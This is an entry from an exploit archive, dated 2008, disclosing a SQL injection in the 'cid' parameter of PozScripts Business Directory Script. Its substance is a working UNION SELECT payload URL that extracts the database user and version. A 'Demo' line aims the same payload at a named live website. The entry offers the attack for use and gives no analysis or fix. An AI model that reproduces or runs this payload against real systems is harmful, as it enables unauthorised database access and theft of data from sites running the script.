PozScripts Business Directory Script (cid) Remote SQL Injection Vuln

2008-11-11T00:00:00
ID 1337DAY-ID-4162
Type zdt
Reporter Hussin X
Modified 2008-11-11T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ====================================================================
PozScripts Business Directory Script (cid) Remote SQL Injection Vuln
====================================================================


|___________________________________________________
|
| Business Directory Script ( cid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------
|
|    Author: Hussin X
|
|___________________________________________________
|
| script :  http://www.pozscripts.com/product_details.php?item_id=6
|
| DorK   :  :) 
|___________________________________________________

Exploit:
________



www.[target].com/Script/showcategory.php?cid=-264+union+select+1,concat(user(),0x3e,version()),3,4,5--



Demo
________

http://www.singwebs.com/businessdirectoryadmindemo/showcategory.php?cid=-264+union+select+1,concat(user

(),0x3e,version()),3,4,5--




#  0day.today [2018-02-07]  #